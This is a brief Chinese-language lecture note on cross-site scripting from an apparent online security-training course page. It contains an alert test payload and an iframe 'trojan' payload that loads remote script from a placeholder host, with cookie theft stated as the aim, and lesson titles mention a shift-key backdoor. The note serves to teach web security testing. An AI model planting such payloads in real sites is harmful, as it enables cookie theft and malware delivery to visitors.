xss跨站：
注入主要针对服务端，跨站主要针对客户端，所有的输入点都是攻击源。
1.测试漏洞：<script>alert()</script>
2.挂马
<iframe src=http://ip/a.js></iframe>
POST方式要改成get
作用1：盗cookie
2.domain:路径
授课教师
专职资深讲师
课程特色
视频(15)
下载资料(1)
最新学员
学员动态
广州大学高先生
开始学习 安全测试常用方法-上
CLJY
开始学习 渗透常用攻击方法-上
广州大学_kingda丶
开始学习 账号克隆shift后门
广州大学_kingda丶
开始学习 入侵实例-下载资料